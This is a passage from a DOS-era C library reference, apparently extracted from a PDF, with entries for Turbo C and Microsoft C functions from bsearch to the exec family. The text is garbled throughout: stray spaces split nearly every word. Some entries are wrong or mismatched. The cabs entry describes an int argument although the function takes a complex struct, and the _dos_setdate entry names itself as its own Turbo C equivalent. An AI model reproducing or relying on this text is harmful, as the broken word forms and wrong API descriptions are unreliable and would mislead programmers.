- does bi nar y sear ch f or i t ems i n a t abl e whi ch i s
ALREADY sor t ed i n ascendi ng or der
- base poi nt s t o 0t h el ement of t abl e
- nel emcont ai ns number of ent r i es i n t abl e
- wi dt h cont ai ns number of byt es i n each ent r y
- key poi nt s t o t he sear ch key

- f cmp( ) poi nt s t o compar i son r out i ne, wher e key and el emar e
passed t o i t as poi nt er s. Funct i on f cmp( ) r et ur ns:

i nt eger < 0 i f sear ch key < el em;
i nt eger = 0 i f equal ;
r et ur ns > 0 i f sear ch key > el em

- r et ur ns 0 i f no mat ch f ound, el se addr ess of f i r st
ent r y t hat mat ches

: cabs
^doubl e cabs( st r uct compl ex z )


- pr ot ot ype i n mat h. h

- r et ur ns absol ut e val ue of i nt n

: cal l oc
^voi d *cal l oc( unsi gned count , unsi gned si zeeach )


- pr ot ot ype i n st dl i b. h & al l oc. h ( mal l oc. h f or MS C)

- al l ocat es mai n memor y
- see ~mal l oc~( )
: cei l
^doubl e cei l ( doubl e x )


- pr ot ot ype i n mat h. h

- r ounds up x

: cget s
^char *cget s( char *s )


- pr ot ot ype i n coni o. h

- r eads st r i ng f r omconsol e
- CR/ LF combi nat i on i s r epl aced by \ 0
- bef or e cal l i ng, s[ 0] shoul d be t he max l engt h of st r i ng t o i nput
- on r et ur n, s[ 1] cont ai ns t he act ual st r i ng l engt h
- r et ur ns poi nt er t o s[ 2] , t he act ual dat a i nput

: _chai n_i nt r
^MSC: voi d _chai n_i nt r ( voi d ( i nt er r upt f ar *t ar get ) ( ) )


- pr ot ot ype i n dos. h

- chai ns f r omone i nt er r upt handl er t o anot her ; set s up t he
st ack as i f t he i nt er r upt was cal l ed di r ect l y by pushi ng t he
f l ags and t he or i gi nal r et ur n addr ess on t he st ack
Pagina 521 di 991
- t hi s f unct i on does not r et ur n t o cal l er but r et ur ns t o t he
code wher e t he i nt er r upt occur r ed
- no cor r espondi ng f unct i on i n Tur bo C

: chdi r
^i nt chdi r ( const char *pat h )


- pr ot ot ype i n di r . h

- changes cur r ent wor ki ng di r ect or y t o pat h.
- r et ur ns 0 i f OK; el se - 1 wi t h er r no set t o ENOENT

: _chmod
^TC: i nt _chmod( const char *f i l ename, i nt f unc [ , i nt at t r i b] )


- pr ot ot ype i n i o. h, al so i ncl ude dos. h

- i f f unc = 0, r et ur ns access mode of f i l e
- i f f unc = 1, set s access mode of f i l e
- at t r i b can be one of t he f ol l owi ng:

Tur bo C MSC
FA_RDONLY _A_RDONLY
FA_HI DDEN _A_HI DDEN
FA_SYSTEM _A_SYSTEM


- i f f unc = 1,
r et ur ns 0 i f OK
- 1 wi t h er r no set t o ENOENT or EACCES

- i f f unc = 0, r et ur ns MSDOS at t r i but e

: chmod
^i nt chmod( const char *f i l ename, i nt per mi ss)


- pr ot ot ype i n i o. h, al so i ncl ude st at . h

- changes access mode of f i l e accor di ng t o mask gi ven by per mi ss,
wher e per mi ss i s:

S_I WRI TE
S_I READ
S_I WRI TE | S_I READ

- r et ur ns 0 i f OK
- 1 wi t h er r no set t o ENOENT or EACCES

: _cl ear 87
^unsi gned i nt _cl ear 87( voi d )


- pr ot ot ype i n f l oat . h

- cl ear s 8087/ 80287 st at us wor d & ot her except i ons
- r et ur ns ol d st at us wor d
- see ~_st at us87~( ) ~_cont r ol 87~( )
: cl ear er r
^voi d cl ear er r ( FI LE *st r eam)

Pagina 522 di 991

- pr ot ot ype i n st di o. h

- r eset s er r or i ndi cat i on
- see ~f er r or ~( )

: _cl ear scr een
^MSC: voi d f ar _cl ear scr een( shor t t ar get )


- pr ot ot ype i n gr aph. h

- t ar get = _GCLEARSCREEN cl ear s scr een
= _GVI EWPORT cl ear s cur r ent vi ewpor t
= _GWI NDOW cl ear s cur r ent t ext wi ndow
- avai l abl e i n gr aphi cs mode onl y
- cl ear s t ar get ar ea by f i l l i ng wi t h cur r ent backgr ound col or

: cl ock
^cl ock_t cl ock( voi d )


- pr ot ot ype i n t i me. h

- r et ur ns el apsed pr ocessor t i me used by t he cal l i ng pr ocess,
or - 1L on er r or
- C st ar t up code r et r i eves t he cl ock count as pr epar at i on f or a
l at er cal l t o cl ock( ) ( Tur bo C++ and some ver si ons of MS C)
- r esol ut i on i s l i mi t ed t o 54ms f or bot h MS C and Tur bo C due
t o t he dependency on I NT 8 cl ock t i cs
- CLK_TCK i s shoul dn' t be used unl ess CLOCKS_PER_SEC i sn' t avai l abl e
si nce t he l at t er i s def i ned by ANSI .
- MS C uses I NT 21, 2C t o get t he pr ocessor t i me wi t h 1000 as t he
val ue of CLK_TCK
- Tur bo C uses I NT 1A, 2 t o get t he pr ocessor t i me wi t h 18 as t he
val ue of CLK_TCK

- Exampl e usage:

cl ock_t st ar t , f i ni sh, dur at i on;

st ar t = cl ock( ) ;
del ay( 2000) ;
f i ni sh = cl ock( ) ;
dur at i on = f i ni sh - st ar t ;
pr i nt f ( " %l d - %l d = %l d t i cs\ n" , st ar t , f i ni sh, dur at i on) ;
: _cl ose
^TC: i nt _cl ose( i nt f h )


- pr ot ot ype i n i o. h

- cl oses f i l e f h wher e f h i s f i l e handl e f r om~_cr eat ~( ) , ~cr eat ~( ) ,
~cr eat new~( ) , ~cr eat t emp~( ) , ~dup~( ) , ~dup2~( ) , ~_open~( ) , or
~open~( ) .
- use ~f dopen~( ) t o change f i l e handl e t o f i l e st r eam.
- does not wr i t e a Ct r l - Z t o a t ext f i l e on cl osi ng
- r et ur ns 0 i f OK; - 1 & er r no=EBADF
- MS C uses ~_dos_cl ose~( )

- see ~I NT 21, 3E~
: cl ose
^i nt cl ose( i nt f h )
Pagina 523 di 991


- pr ot ot ype i n i o. h

- cl oses f i l e f h wher e f h i s f i l e handl e f r om~_cr eat ~( ) , ~cr eat ~( ) ,
~cr eat new~( ) , ~cr eat t emp~( ) , ~dup~( ) , ~dup2~( ) , ~_open~( ) , or
~open~( )
- use ~f dopen~( ) t o change f i l e handl e t o f i l e st r eam
- does not wr i t e a Ct r l - Z t o a t ext f i l e on cl osi ng
- r et ur ns 0 i f OK; el se - 1 & er r no may be set of EBADF

: _cont r ol 87
^MSC: unsi gned _cont r ol 87( unsi gned new, unsi gned mask )

- pr ot ot ype i n f l oat . h

- used t o change f l oat i ng poi nt handl i ng and except i on maski ng
- new = cont ai ns cor r espondi ng bi t val ues f or any bi t set i n " mask"
t o be moved i nt o t he copr ocessor cont r ol wor d
- mask = zer o; get s f l oat i ng- poi nt copr ocessor cont r ol wor d
= non- zer o; i f any bi t i s set , t he cor r espondi ng bi t i n
" new" i s moved i nt o t he copr ocessor cont r ol wor d
- r et ur ns f l oat i ng- poi nt copr ocessor cont r ol wor d
- def aul t cont r ol wor d i s t he l ogi cal OR of : I C_AFFI NE, RC_NEAR,
PC_64, EM_DENORMAL, EM_UNDERFLOW, EM_I NEXACT


% Cont r ol Wor d Mask and Bi t s

MCW_EM i nt er r upt except i on cont r ol
MCW_I C i nf i ni t y cont r ol
MCW_RC r oundi ng cont r ol
MCW_PC pr eci si on cont r ol

% Except i on Masks

EM_I NVALI D i nval i d
EM_DENORMAL denor mal
EM_ZERODI VI DE zer o di vi de
EM_OVERFLOWover f l ow
EM_UNDERFLOW under f l ow
EM_I NEXACT i nexact ( pr eci si on)

% I nf i ni t y Cont r ol

I C_AFFI NE af f i ne
I C_PROJ ECTI VE pr oj ect i ve

% Roundi ng Cont r ol

RC_CHOP t r uncat e
RC_UP r ound up
RC_DOWN r ound down
RC_NEAR near

% Pr eci si on Cont r ol

PC_24 24 bi t s pr eci si on
PC_53 53 bi t s pr eci si on
PC_64 64 bi t s pr eci si on

% User St at us Wor d Bi t s

Pagina 524 di 991
SW_I NVALI D i nval i d
SW_DENORMAL denor mal
SW_ZERODI VI DE zer o di vi de
SW_OVERFLOWover f l ow
SW_UNDERFLOW under f l ow
SW_I NEXACT i nexact pr eci si on

% I nval i d Subcondi t i ons ( i f SW_I NVALI D)

SW_UNEMULATED unemul at ed i nst r uct i on
SW_SQRTNEG squar e r oot of a neg number
SW_STACKOVERFLOW FP st ack over f l ow
SW_STACKUNDERFLOWFP st ack under f l ow

% Fl oat i ng Poi nt Er r or s

FPE_I NVALI D
FPE_DENORMAL
FPE_ZERODI VI DE
FPE_OVERFLOW
FPE_UNDERFLOW
FPE_I NEXACT
FPE_UNEMULATED
FPE_SQRTNEG
FPE_STACKOVERFLOW
FPE_STACKUNDERFLOW
FPE_EXPLI CI TGEN

- see ~_cl ear 87~( ) ~_st at us87~( )
: cor el ef t
% TC: unsi gned cor el ef t ( voi d )
% TC: unsi gned l ong cor el ef t ( voi d )


- pr ot ot ype i n al l oc. h

- r et ur ns a measur e of unused memor y ( see ~mal l oc~( ) )
- r et ur n val ue i s i nt f or model s t i ny, smal l , medi um
r et ur n val ue i s l ong f or model s compact , l ar ge, huge
- no cor r espondi ng f unct i on i n MS C
: cos
^doubl e cos( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns t he cosi ne of angl e x
- x must be i n r adi ans

: cosh
^doubl e cosh( doubl e x )


- pr ot ot ype i n mat h. h

- r et ur ns t he hyper bol i c cosi ne of angl e x
- x must be i n r adi ans

: count r y
^TC: st r uct count r y *count r y( i nt cnt r ycode, st r uct count r y *cnt r yp)


- pr ot ot ype i n dos. h
Pagina 525 di 991

- r et ur ns count r y- dependent i nf or mat i on

: cpr i nt f
^i nt cpr i nt f ( char *f or mat [ , ar gument , . . . ] )


- pr ot ot ype i n coni o. h

- sends f or mat t ed out put t o t he consol e
- TC use ei t her di r ect memor y wr i t es or BI OS cal l s dependi ng on t he
val ue of t he ext er nal i nt eger di r ect vi deo
- see ~PRI NTF SPEC~ f or f or mat speci f i cat i ons
: cput s
^voi d cput s( char *s )


- pr ot ot ype i n coni o. h

- wr i t es st r i ng s t o consol e
- TC: uses ei t her di r ect memor y wr i t es or BI OS cal l s dependi ng
on t he val ue of t he ext er n di r ect vi deo

: _cr eat
^TC: i nt _cr eat ( const char *f name, i nt at t r )


- pr ot ot ype i n i o. h, al so i ncl ude dos. h

- cr eat es new f i l e ( over wr i t es exi st i ng f i l e) of f i l ename wi t h f i l e
at t r i but e at t r , f or bot h r ead/ wr i t e
- at t r can be a combi nat i on of t he f ol l owi ng

FA_RDONLY set r ead onl y at t r i but e
FA_HI DDEN set hi dden at t r i but e
FA_SYSTEM set syst emat t r i but e

- f i l e i s cr eat ed i n O_BI NARY mode
- r et ur ns nonnegat i ve i nt eger i f OK, el se - 1
- uses DOS f unct i on ~I NT 21, 3C~
- MSC uses ~_dos_cr eat ~( )

: cr eat
^i nt cr eat ( const char *f i l ename, i nt per mi s )


- pr ot ot ype i n i o. h, al so i ncl ude st at . h

- cr eat es new f i l e ( over wr i t es exi st i ng f i l e) of f i l ename
wi t h access per mi ssi on " per mi s" whi ch i s:

S_I WRI TE
S_I READ
S_I WRI TE | S_I READ

f or per mi ssi on t o wr i t e, r ead or r ead/ wr i t e.

- f i l e i s cr eat ed set t o _f mode ( O_TEXT or O_BI NARY)

: cr eat new
% TC: i nt cr eat new( const char *f name, i nt at t r )
% MSC: unsi gned cr eat new( const char *f name, unsi gned at t r , i nt f h )

Pagina 526 di 991

- pr ot ot ype i n i o. h, al so i ncl ude dos. h

- cr eat es new f i l e f i l ename wi t h f i l e at t r i but e at t r :
- at t r consi st s of a combi nat i on of t he f ol l owi ng:

FA_RDONLY set r ead onl y at t r i but e
FA_HI DDEN set hi dden at t r i but e
FA_SYSTEM set syst emat t r i but e

- r et ur ns nonnegat i ve i nt eger i f OK, el se - 1
- f i l e i s cr eat ed set t o _f mode ( O_TEXT or O_BI NARY)
- TC: r et ur ns nonnegat i ve i nt eger i f OK, el se - 1
MSC: r et ur n 0 i f ok, or DOS er r or code

: cr eat t emp
^TC: i nt cr eat t emp( char *f i l ename, i nt at t r )


- pr ot ot ype i n i o. h, al so i ncl ude dos. h

- cr eat es new f i l e ( over wr i t es exi st i ng f i l e) of f i l ename wi t h f i l e
at t r i but e at t r i b, f or bot h r ead/ wr i t e
- at t r consi st s of a combi nat i on of t he f ol l owi ng:

FA_RDONLY set r ead onl y at t r i but e
FA_HI DDEN set hi dden at t r i but e
FA_SYSTEM set syst emat t r i but e

- f i l ename i s a pat h name endi ng i n a backsl ash ( \ ) ; when f i l e i s
cr eat ed, f i l ename has a uni que pat h name
- f i l e i s cr eat ed set t o _f mode ( O_TEXT or O_BI NARY)
- r et ur ns nonnegat i ve i nt eger i f OK, el se - 1
: cscanf
^i nt cscanf ( const char *f or mat [ , ar gument , . . . ] )


- pr ot ot ype i n coni o. h

- per f or ms f or mat t ed i nput f r omconsol e


- see ~SCANF~ and ~SCANF SPEC~
: ct i me
^char *ct i me( const l ong *cl ock )


- pr ot ot ype i n t i me. h

- conver t s dat e and t i me t o a st r i ng
- cl ock i s a l ong i nt eger ( such as t hat r et ur ned by t i me( ) )
- gener at es a 26- char act er st r i ng f or dat e and t i me
- r et ur ns poi nt er t o st r i ng

: ct r l br k
^TC: voi d ct r l br k( i nt ( *f pt r ) ( voi d) )


- pr ot ot ype i n dos. h

- set s a new cont r ol - br eak handl er f unct i on poi nt ed t o by f pt r
- i f Ct r l - C hi t , t hen f unct i on poi nt ed t o by f pt r i s cal l ed
- use ~l ongj mp~( ) t o r et ur n t o a gi ven poi nt i n t he pr ogr am
Pagina 527 di 991

: di eeet omsbi n: dmsbi nt oi eee: f i eeet omsbi n: f msbi nt oi eee
% MSC: i nt di eeet omsbi n( doubl e *sr cdbl , doubl e *dst dbl )
% MSC: i nt dmsbi nt oi eee( doubl e *sr cdbl , doubl e *dst dbl )
% MSC: i nt f i eeet omsbi n( f l oat *sr cf l t , f l oat *dst f l t )
% MSC: i nt f msbi nt oi eee( f l oat *sr cf l t , f l oat *dst f l t )


- pr ot ot ype i n mat h. h

di eeet omsbi n( ) conver t s I EEE doubl e t o Mi cr osof t doubl e
dmsbi nt oi eee( ) conver t s Mi cr osof t doubl e t o I EEE doubl e
f i eeet omsbi n( ) conver t s I EEE f l oat t o Mi cr osof t f l oat
f msbi nt oi eee( ) conver t s Mi cr osof t f l oat t o I EEE f l oat

- sr cdbl and sr cf l t ar e poi nt er s t o sour ce val ues
- dst dbl and dst f l t ar e poi nt er s t o t he dest i nat i on
- r et ur ns 0 f or success; 1 f or f ai l ur e ( over f l ow)

: di f f t i me
^doubl e di f f t i me( t i me_t t i me2, t i me_t t i me1 )


- pr ot ot ype i n t i me. h

- r et ur ns ( t i me2- t i me1) di f f er ence i n seconds ( doubl e)

: di sabl e: _di sabl e
% TC: voi d di sabl e( voi d )
% MSC: voi d _di sabl e( voi d )


- pr ot ot ype i n dos. h

- di sabl es al l i nt er r upt s except NMI vi a ~CLI ~ i nst r uct i on

: _di spl aycur sor
^MSC: shor t f ar _di spl aycur sor ( shor t f l ag )


- pr ot ot ype i n gr aph. h

- f l ag = _GCURSORON t ur n cur sor on
_GCURSOROFF t ur n cur sor of f
- cur sor i s nor mal l y t ur ned of f whi l e i n gr aphi cs mode; cal l i ng
t hi s f unct i on det er mi nes whet her cur sor i s di spl ayed upon
exi t f r omgr aphi cs mode
- r et ur ns pr evi ous val ue of cur sor st at e f l ag

: di v ( c) : l di v
% MSC: st r uct _di v_t di v( i nt numer , i nt denom)
% MSC: st r uct _l di v_t l di v( l ong i nt numer , l ong i nt denom)


- pr ot ot ype i n st dl i b. h

- di vi des numer at or by denomi nat or gi vi ng quot i ent and r emai nder
- r et ur ns di v_t or l di v_t st r uct ur e of t he f or m:

st r uct _di v_t st r uct _l di v_t
{ {
i nt quot ; l ong quot ;
i nt r em; l ong r em;
Pagina 528 di 991
}; };


: _dos_al l ocmem
^MSC: unsi gned _dos_al l ocmem( unsi gned si ze, unsi gned *seg )


- pr ot ot ype i n dos. h

- si ze = number of par agr aphs t o al l ocat e
- seg = poi nt er t o buf f er t o cont ai n al l ocat ed segment val ue
- r et ur ns 0 on success or DOS er r or code on f ai l ur e
- Tur bo C uses ~al l ocmem~( )
- see ~I NT 21, 48~
: _dos_cl ose
^MSC: unsi gned _dos_cl ose( i nt handl e )


- pr ot ot ype i n dos. h

- handl e i s st andar d DOS f i l e handl e at t ai ned t hr ough ~_dos_cr eat ~( ) ,
~_dos_cr eat ~( ) , ~_dos_cr eat new~( ) , ~_dos_open~( ) , ~dup~( ) , ~open~( )
- r et ur ns 0 on success or DOS er r or code on f ai l ur e
- does not wr i t e a Ct r l - Z t o a t ext f i l e on cl osi ng
- see ~I NT 21, 3E~
: _dos_cr eat : _dos_cr eat new
% MSC: unsi gned _dos_cr eat new( char *f name, unsi gned at t r , i nt *handl e)
% MSC: unsi gned _dos_cr eat ( char *f name, unsi gned at t r , i nt *handl e)


- pr ot ot ype i n dos. h

- f name = a val i d DOS f i l e name
- at t r = DOS f i l e at t r i but e
= _A_RDONLY
= _A_HI DDEN
= _A_SYSTEM
= _A_ARCH
- handl e = poi nt er t o l ocat i on t o r ecei ve handl e
- r et ur ns 0 on success or DOS er r or code on f ai l ur e
- i f f i l e shar i ng i s i nst al l ed, f i l e i s opened i n compat i bi l i t y mode
- see ~I NT 21, 3C~ ~I NT 21, 5B~
: _dos_f r eemem
^MSC: unsi gned _dos_f r eemem( unsi gned seg )


- pr ot ot ype i n dos. h

- f r ees memor y al l ocat ed vi a _dos_al l ocmem( ) or I NT 21, 49
- r et ur ns 0 on success or DOS er r or code
- Tur bo C uses ~f r eemem~( )
- see ~I NT 21, 49~
: _dos_get dat e
^MSC: voi d _dos_get dat e( st r uct dosdat e_t *dat e )


- pr ot ot ype i n dos. h

- dat e = poi nt er t o st r uct ur e t o cont ai n r et ur ned dat a of f or mat :

st r uct dosdat e_t
{
unsi gned char day; - [ 1- 31]
Pagina 529 di 991
unsi gned char mont h; - [ 1- 12]
unsi gned i nt year ; - [ 1980- 2099]
unsi gned char dayof week; - [ 0- 6] = Sun. . Sat
};

- Tur bo C uses ~get dat e~( )
- see ~I NT 21, 2A~
: _dos_get di skf r ee
% MSC: unsi gned _dos_get di skf r ee( unsi gned dr v, st r uct di skf r ee_t *spc)


- pr ot ot ype i n dos. h

- dr i ve = 1 = A: , 2 = B: , 3 = C: , . . .
- spc = st r uct ur e t o cont ai ns di sk st at us i nf or mat i on
- r et ur ns 0 on success or DOS er r or code on f ai l ur e

st r uct di skf r ee_t
{
unsi gned t ot al _cl ust er s; - count of al l di sk cl ust er s
unsi gned avai l _cl ust er s; - f r ee unal l ocat ed cl ust er s
unsi gned sect or s_per _cl ust er ;
unsi gned byt es_per _sect or ;
};

- Tur bo C uses ~get df r ee~( )
- see ~I NT 21, 36~
: _dos_get dr i ve
^MSC: voi d _dos_get dr i ve( unsi gned *dr i ve )


- pr ot ot ype i n dos. h

- dr i ve = poi nt er t o buf f er t o r ecei ve dr i ve number ;
0 = A: , 1 = B: , . . .
- Tur bo C uses ~get di sk~( )
- see ~I NT 21, 19~
: _dos_get f i l eat t r
^MSC: unsi gned _dos_get f i l eat t r ( char *pat h, unsi gned *at t r )


- pr ot ot ype i n dos. h

- pat h = any val i d DOS f i l e name
- at t r = f i l e at t r i but e:

_A_NORMAL
_A_RDONLY
_A_HI DDEN
_A_SYSTEM
_A_VOLI D
_A_SUBDI R
_A_ARCH

- r et ur ns zer o on success; nonzer o on f ai l ur e
- no cor r espondi ng f unct i on i n Tur bo C
- see ~I NT 21, 43~
: _dos_get f t i me
^MSC: unsi gned _dos_get f t i me( i nt h, unsi gned *dat e, unsi gned *t i me)


- pr ot ot ype i n dos. h

Pagina 530 di 991
- h = open f i l e handl e
- dat e = poi nt er t o memor y t o r ecei ve f i l e dat e
- t i me = poi nt er t o memor y t o r ecei ve f i l e t i me
- r et ur ns 0 on success or DOS er r or code
- Tur bo C uses ~get f t i me~( )
- see ~I NT 21, 57~ ~_dos_set f t i me~( )
: _dos_get t i me
^MSC: voi d _dos_get t i me( st r uct dost i me_t *t i me )


- pr ot ot ype i n dos. h

- r et ur ns DOS t i me i nt o " t i me"

st r uct dost i me_t
{
unsi gned char hour ; - [ 0- 23]
unsi gned char mi nut e; - [ 0- 59]
unsi gned char second; - [ 0- 59]
unsi gned char hsecond; - hundr et hs of a second 0- 99
};

- Tur bo C uses ~get t i me~( )
- see ~_dos_set t t i me~( )
: _dos_get vect
^MSC: voi d ( i nt er r upt f ar *_dos_get vect ( unsi gned i nt num) ) ( )


- pr ot ot ype i n dos. h

- i nt num= i nt er r upt t o get addr ess of ( 0. . 255)
- r et ur ns f ar poi nt er t o i nt er r upt handl er r out i ne

- Tur bo C uses ~get vect ~( )
- see ~I NT 21, 35~ ~_dos_set vect ~( )
: _dos_keep
^MSC: voi d _dos_keep( unsi gned r c, unsi gned si ze )


- pr ot ot ype i n dos. h

- r c = r et ur n code t o pass t o par ent pr ocess
- si ze = number of par agr aphs t o r emai n r esi dent

- Tur bo C uses ~keep~( )
- see ~I NT 21, 31~
: _dos_open
^MSC: unsi gned _dos_open( char *f name, unsi gned mode, i nt *handl e )

- pr ot ot ype i n dos. h, f cnt l . h ( al so i ncl ude shar e. h)

- f name = val i d DOS f i l e name
- mode = f i l e access per mi ssi on ( a l ogi cal or of t he f ol l owi ng)
= O_NOI NHERI T f i l e can' t be i nher i t ed by chi l d pr ocess
= O_RDONLY f i l e i s r ead onl y
= O_RDWR f i l e i s r ead/ wr i t e
= O_WRONLY f i l e i s wr i t e onl y
= SH_COMPAT f i l e shar i ng compat i bi l i t y mode
= SH_DENYNONE f i l e shar i ng deny nei t her r ead nor wr i t e
= SH_DENYRD f i l e shar i ng deny r ead
= SH_DENYRWf i l e shar i ng deny r ead/ wr i t e
= SH_DENYWR f i l e shar i ng deny wr i t e

Pagina 531 di 991
- handl e = poi nt er t o memor y t o cont ai n handl e
- does not cr eat f i l es, t hey must cur r ent l y exi st ( see ~_dos_cr eat ~( ) )
- r et ur ns 0 on success or DOS er r or code

- Tur bo C uses ~_open~( )
- see ~I NT 21, 3D~ ~_dos_cl ose~( ) ~_dos_r ead~( )
~_dos_wr i t e~( ) ~_dos_cr eat ~( )
: _dos_r ead
% MSC: unsi gned _dos_r ead( i nt handl e, voi d f ar *buf f er ,
% unsi gned count , unsi gned *nr ead )


- pr ot ot ype i n dos. h

- handl e = opened f i l e handl e
- buf f er = r ecei ves dat a r ead f r omf i l e
- count = number of byt es t o r ead
- nr ead = r ecei ves t he number of byt es act ual l y r ead
- r et ur ns 0 on success or DOS er r or code

- Tur bo C uses ~_open~( )
- see ~I NT 21, 3F~ ~_dos_open~( ) ~_dos_wr i t e~( ) ~_dos_cl ose~( )
: _dos_set bl ock
% MSC: unsi gned _dos_set bl ock( unsi gned si ze, unsi gned seg,
% unsi gned *maxsi ze )


- pr ot ot ype i n dos. h

- si ze = new bl ock si ze
- seg = segment of DOS memor y bl ock t o change
- maxsi ze = si ze of buf f er act ual l y al l ocat ed i f si ze not avai l abl e

- r et ur ns 0 on success or DOS er r or code on f ai l ur e

- Tur bo C uses ~set bl ock~( )
- see ~I NT 21, 4A~ ~_dos_al l ocmem~( ) ~_dos_f r eemem~( )
: _dos_set dat e
^MSC: unsi gned _dos_set dat e( st r uct dosdat e_t *dat e )


- pr ot ot ype i n dos. h

- dat e = r ecei ves dat e i nf or mat i on
- r et ur ns 0 on success or DOS er r or code on f ai l ur e
- set s DOS dat e vi a I NT 21, 2B
- DOS 3. 3+ al so set s CMOS cl ock

- MS C uses ~_dos_set dat e~( )
- see ~I NT 21, 2B~ ~_dos_get dat e~( )
: _dos_set dr i ve
^MSC: voi d _dos_set dr i ve( unsi gned dr i ve, unsi gned *count )


- pr ot ot ype i n dos. h

- dr i ve = dr i ve t o set as def aul t ; 1 = A: , 2 = B: , . . .
- count = r ecei ves si mpl e count of t ot al dr i ves i n syst em
- does not r et ur n er r or i f i nval i d dr i ve i s r equest ed, use
_dos_get dr i ve( ) t o see i f r equest ed dr i ve was set

- Tur bo C uses ~set di sk~( )
- see ~I NT 21, E~ ~_dos_get dr i ve~( )
Pagina 532 di 991
: _dos_set f i l eat t r
^MSC: unsi gned _dos_set f i l eat t r ( char *pat h, unsi gned at t r )


- pr ot ot ype i n dos. h

- pat h = val i d DOS f i l e name
- at t r = f i l e at t r i but e ( l ogi cal OR of t he f ol l owi ng) :
= _A_ARCH
= _A_HI DDEN
= _A_NORMAL
= _A_RDONLY
= _A_SUBDI R
= _A_SYSTEM
= _A_VOLI D

- r et ur ns 0 on success or DOS er r or code on f ai l ur e

- see ~I NT 21, 43~ ~_dos_get f i l eat t r ~( )
: _dos_set f t i me
^MSC: unsi gned _dos_set f t i me( i nt handl e, unsi gned dat e, unsi gned t i me)


- pr ot ot ype i n dos. h

- handl e = opened f i l e handl e
- dat e = dat e t o set l ast f i l e wr i t e ( see FI LE ATTRI BUTES)
- t i me = t i me t o set l ast f i l e wr i t e ( see FI LE ATTRI BUTES)
- r et ur ns 0 on success or DOS er r or code on f ai l ur e

- Tur bo C uses ~set f t i me~( )
- see ~I NT 21, 57~ ~_dos_get f t i me~( ) ~FI LE ATTRI BUTES~
: _dos_set t i me
^MSC: unsi gned _dos_set t i me( st r uct dost i me_t *t i me )


- pr ot ot ype i n dos. h

- t i me = st r uct ur e cont ai ni ng new t i me val ues
- r et ur ns 0 on success or DOS er r or code on f ai l ur e
- set s MS- DOS t i me vi a I NT 21, 2D
- DOS 3. 3+ al so set s CMOS cl ock

- Tur bo C uses ~set t i me~( )
- see ~I NT 21, 2D~ ~_dos_get t i me~( )
: _dos_set vect
% MSC: voi d _dos_set vect ( unsi gned i nt num,
% voi d ( i nt er r upt f ar *handl er ) ( ) )


- pr ot ot ype i n dos. h

- i nt num= i nt er r upt vect or t o set ( 0. . 255)
- handl er = new i nt er r upt r out i ne

- Tur bo C uses ~set vect ~( )
- see ~I NT 21, 25~ ~_dos_get vect ~( )
: _dos_wr i t e
% MSC: unsi gned _dos_wr i t e( i nt handl e, voi d f ar *buf f er ,
% unsi gned count , unsi gned *nbyt es )


- pr ot ot ype i n dos. h
Pagina 533 di 991

- handl e = opened f i l e handl e
- buf f er = buf f er of dat a t o wr i t e t o f i l e
- count = number of byt es t o wr i t e
- nbyt es = r ecei ves t he number of byt es act ual l y wr i t t en
- r et ur ns 0 on success or DOS er r or code on f ai l ur e

- Tur bo C uses ~_wr i t e~( )
- see ~I NT 21, 40~ ~_dos_open~( ) ~_dos_cl ose~( ) ~_dos_r ead~( )
: dosext er r
% TC: i nt dosext er r ( st r uct DOSERR *er r i nf o )
% MSC: i nt dosext er r ( st r uct DOSERROR *er r i nf o )


- pr ot ot ype i n dos. h

- r et ur ns ext ended er r or i nf or mat i on ( uni que t o MSDOS 3. 0+)
- er r i nf o i s poi nt er t o DOSERR/ DOSERROR st r uct ur e ( def i ned i n dos. h)
- i f 0 r et ur ned, pr evi ous DOS cal l di d not r esul t i n er r or
- see per r or
: dost ouni x
^TC: l ong dost ouni x( st r uct dat e *dat ept r , st r uct t i me *t i mept r )


- pr ot ot ype i n dos. h

- conver t s dat e ( as f r om~get dat e~( ) ) and t i me ( as f r om~get t i me~( ) )
i nt o UNI X f or mat

: dup
^i nt dup( i nt handl e )


- pr ot ot ype i n i o. h

- r et ur ns a new f i l e handl e t hat dupl i cat es t he ol d handl e
- r et ur ns - 1 on er r or

: dup2
^i nt dup2( i nt ol dhandl e, i nt newhandl e )


- pr ot ot ype i n i o. h

- r et ur ns a new f i l e handl e t hat dupl i cat es t he ol d handl e
equal t o newhandl e. I f newhandl e exi st s, t he cor r espondi ng
f i l e i s cl osed.
- r et ur ns - 1 on er r or

: ecvt
^char *ecvt ( doubl e val ue, i nt ndi gi t , i nt *decpt , i nt *si gn )


- pr ot ot ype i n st dl i b. h

- conver t s a f l oat i ng pt number t o a st r i ng of ndi gi t di gi t s,
r et ur ni ng poi nt er t o t hat st r i ng
- decpt i s posi t i on of deci mal poi nt ( negat i ve val ue means
t o l ef t of r et ur ned di gi t s) and si gn i s 0 i f posi t i ve,
el se negat i ve

: _el l i pse: _el l i pse_w: _el i pse_wxy
% MSC: shor t _el l i pse( shor t ct l , shor t x1, shor t y1, shor t x2, shor t y2)
Pagina 534 di 991

% MSC: shor t _el l i pse_w( shor t ct l , doubl e wx1, doubl e wy1,
% doubl e wx2, doubl e wy2 )

% MSC: shor t f ar _el l i pse_wxy( shor t ct l , st r uct _wxycoor d f ar *pwxy1,
% st r uct _wxycoor d f ar *pwxy2 )

- pr ot ot ype i n gr aph. h

- ct l = _GFI LLI NTERI OR f i l l el l i pse wi t h cur r ent f i l l mask
= _GBORDER don' t f i l l el l i pse
- r et ur ns nonzer o val ue i f el l i pse i s dr awn ok, zer o ot her wi se
- cent er of el l i pse i s cent er of boundi ng r ect angl e speci f i ed by
suppl i ed coor di nat es

- see ~_set f i l l mask~( )
: enabl e: _enabl e
% TC: voi d enabl e( voi d )
% MSC: voi d _enabl e( voi d )


- pr ot ot ype i n dos. h

- enabl es al l i nt er r upt s vi a ~STI ~ i nst r uct i on

: eof
^i nt eof ( i nt handl e )


- pr ot ot ype i n i o. h

- r et ur ns 1 i f end of f i l e f or f i l e associ at ed wi t h handl e,
0 i f not end of f i l e
- 1 i f bad f i l e number

: exec. . . : exec
^Exec Funct i on Cal l

i nt execl ( pat hname, ar g0, ar g1, ar g2, . . . , ar gN, NULL )
i nt execl e( pat hname, ar g0, ar g1, ar g2, . . . , ar gN, NULL, envp )
i nt execl p( pat hname, ar g0, ar g1, ar g2, . . . , ar gN, NULL )
i nt execl pe( pat hname, ar g0, ar g1, ar g2, . . . . , ar gN, NULL, envp )
char *pat hname, *ar g0, *ar g1, *ar g2, . . . . , *ar gN, *envp[ ] ;

i nt execv( pat hname, ar g, NULL )
i nt execve( pat hname, ar g, NULL, envp )
i nt execvp( pat hname, ar g, NULL )
